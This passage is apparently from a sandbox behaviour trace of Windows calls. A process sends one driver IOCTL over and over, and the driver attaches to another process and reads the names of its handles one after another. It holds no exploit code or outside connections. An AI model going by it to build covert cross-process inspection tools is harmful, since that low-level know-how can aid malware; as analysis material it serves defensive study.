Object=0xfffff88005473548*=0xfffffa8003261a90, HandleInformation=0x0) returned 0x0 [0136.580] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.580] PsReleaseProcessExitSynchronization () returned 0x2 [0136.581] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.581] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.581] ObfDereferenceObject (Object=0xfffffa8003261a90) returned 0x13 [0136.581] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.581] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.581] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.581] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xf8, lpOverlapped=0x0) returned 1 [0136.581] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.581] PsAcquireProcessExitSynchronization () returned 0x0 [0136.581] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.581] ObReferenceObjectByHandle (in: Handle=0x480, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003279070, HandleInformation=0x0) returned 0x0 [0136.581] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.581] PsReleaseProcessExitSynchronization () returned 0x2 [0136.581] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.581] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.581] ObfDereferenceObject (Object=0xfffffa8003279070) returned 0x12 [0136.581] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.581] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.581] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.581] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x104, lpOverlapped=0x0) returned 1 [0136.581] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.581] PsAcquireProcessExitSynchronization () returned 0x0 [0136.581] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.581] ObReferenceObjectByHandle (in: Handle=0x488, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003278890, HandleInformation=0x0) returned 0x0 [0136.581] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.581] PsReleaseProcessExitSynchronization () returned 0x2 [0136.581] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.581] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.581] ObfDereferenceObject (Object=0xfffffa8003278890) returned 0x13 [0136.581] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.581] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.581] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.582] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xda, lpOverlapped=0x0) returned 1 [0136.582] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.582] PsAcquireProcessExitSynchronization () returned 0x0 [0136.582] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.582] ObReferenceObjectByHandle (in: Handle=0x4d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003308a80, HandleInformation=0x0) returned 0x0 [0136.582] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.582] PsReleaseProcessExitSynchronization () returned 0x2 [0136.582] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.582] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.582] ObfDereferenceObject (Object=0xfffffa8003308a80) returned 0x12 [0136.582] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.582] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.582] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.582] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0136.582] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.582] PsAcquireProcessExitSynchronization () returned 0x0 [0136.582] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.582] ObReferenceObjectByHandle (in: Handle=0x4ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f853c0, HandleInformation=0x0) returned 0x0 [0136.582] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.582] PsReleaseProcessExitSynchronization () returned 0x2 [0136.582] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.582] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.582] ObfDereferenceObject (Object=0xfffffa8002f853c0) returned 0x12 [0136.582] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.582] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.582] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.582] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x110, lpOverlapped=0x0) returned 1 [0136.582] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.582] PsAcquireProcessExitSynchronization () returned 0x0 [0136.582] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.582] ObReferenceObjectByHandle (in: Handle=0x4f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80032f2ac0, HandleInformation=0x0) returned 0x0 [0136.582] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.582] PsReleaseProcessExitSynchronization () returned 0x2 [0136.582] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.583] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.583] ObfDereferenceObject (Object=0xfffffa80032f2ac0) returned 0x12 [0136.583] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.583] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.583] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.583] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0136.583] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.583] PsAcquireProcessExitSynchronization () returned 0x0 [0136.583] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.583] ObReferenceObjectByHandle (in: Handle=0x4f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80032f5650, HandleInformation=0x0) returned 0x0 [0136.583] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.583] PsReleaseProcessExitSynchronization () returned 0x2 [0136.583] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.583] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.583] ObfDereferenceObject (Object=0xfffffa80032f5650) returned 0x12 [0136.583] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.583] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.583] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.583] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xfe, lpOverlapped=0x0) returned 1 [0136.583] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.583] PsAcquireProcessExitSynchronization () returned 0x0 [0136.583] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.583] ObReferenceObjectByHandle (in: Handle=0x4f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003309490, HandleInformation=0x0) returned 0x0 [0136.583] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.583] PsReleaseProcessExitSynchronization () returned 0x2 [0136.583] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.583] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.583] ObfDereferenceObject (Object=0xfffffa8003309490) returned 0x12 [0136.583] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.583] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.583] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.583] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x11a, lpOverlapped=0x0) returned 1 [0136.584] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.584] PsAcquireProcessExitSynchronization () returned 0x0 [0136.584] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.584] ObReferenceObjectByHandle (in: Handle=0x4fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80032cf510, HandleInformation=0x0) returned 0x0 [0136.584] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.584] PsReleaseProcessExitSynchronization () returned 0x2 [0136.584] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.584] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.584] ObfDereferenceObject (Object=0xfffffa80032cf510) returned 0x12 [0136.584] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.584] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.584] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.584] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x104, lpOverlapped=0x0) returned 1 [0136.584] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.584] PsAcquireProcessExitSynchronization () returned 0x0 [0136.584] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.584] ObReferenceObjectByHandle (in: Handle=0x524, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80028daaa0, HandleInformation=0x0) returned 0x0 [0136.584] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.584] PsReleaseProcessExitSynchronization () returned 0x2 [0136.584] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.584] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fc2044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fc2044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.584] ObfDereferenceObject (Object=0xfffffa80028daaa0) returned 0x12 [0136.584] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.584] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.584] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.584] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xc4, lpOverlapped=0x0) returned 1 [0136.584] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.584] PsAcquireProcessExitSynchronization () returned 0x0 [0136.584] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.584] ObReferenceObjectByHandle (in: Handle=0x530, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80034da620, HandleInformation=0x0) returned 0x0 [0136.584] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.584] PsReleaseProcessExitSynchronization () returned 0x2 [0136.584] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.585] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fc3044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fc3044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.585] ObfDereferenceObject (Object=0xfffffa80034da620) returned 0x12 [0136.585] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.585] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.585] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.585] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0136.585] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.585] PsAcquireProcessExitSynchronization () returned 0x0 [0136.585] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.585] ObReferenceObjectByHandle (in: Handle=0x53c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002861f20, HandleInformation=0x0) returned 0x0 [0136.585] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.585] PsReleaseProcessExitSynchronization () returned 0x2 [0136.585] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.585] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.585] ObfDereferenceObject (Object=0xfffffa8002861f20) returned 0x13 [0136.585] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.585] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.585] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.585] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xd6, lpOverlapped=0x0) returned 1 [0136.585] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.585] PsAcquireProcessExitSynchronization () returned 0x0 [0136.585] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.585] ObReferenceObjectByHandle (in: Handle=0x544, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80034702c0, HandleInformation=0x0) returned 0x0 [0136.585] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.585] PsReleaseProcessExitSynchronization () returned 0x2 [0136.585] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.585] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473508) returned 0x0 [0136.585] ObfDereferenceObject (Object=0xfffffa80034702c0) returned 0x20 [0136.585] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.585] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.585] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.585] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xea, lpOverlapped=0x0) returned 1 [0136.585] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.586] PsAcquireProcessExitSynchronization () returned 0x0 [0136.586] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.586] ObReferenceObjectByHandle (in: Handle=0x58c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003b112c0, HandleInformation=0x0) returned 0x0 [0136.586] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.586] PsReleaseProcessExitSynchronization () returned 0x2 [0136.586] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.586] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473508) returned 0x0 [0136.586] ObfDereferenceObject (Object=0xfffffa8003b112c0) returned 0x6 [0136.586] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.586] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.586] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.586] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x118, lpOverlapped=0x0) returned 1 [0136.586] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.586] PsAcquireProcessExitSynchronization () returned 0x0 [0136.586] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.586] ObReferenceObjectByHandle (in: Handle=0x5ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003129f20, HandleInformation=0x0) returned 0x0 [0136.586] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.586] PsReleaseProcessExitSynchronization () returned 0x2 [0136.586] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.586] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0136.586] ObfDereferenceObject (Object=0xfffffa8003129f20) returned 0x12 [0136.586] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.586] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.586] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.586] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xea, lpOverlapped=0x0) returned 1 [0136.586] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.586] PsAcquireProcessExitSynchronization () returned 0x0 [0136.586] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.586] ObReferenceObjectByHandle (in: Handle=0x60c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f8f7d0, HandleInformation=0x0) returned 0x0 [0136.586] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.586] PsReleaseProcessExitSynchronization () returned 0x2 [0136.586] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.586] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.586] ObfDereferenceObject (Object=0xfffffa8002f8f7d0) returned 0x12 [0136.587] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.587] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.587] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.587] 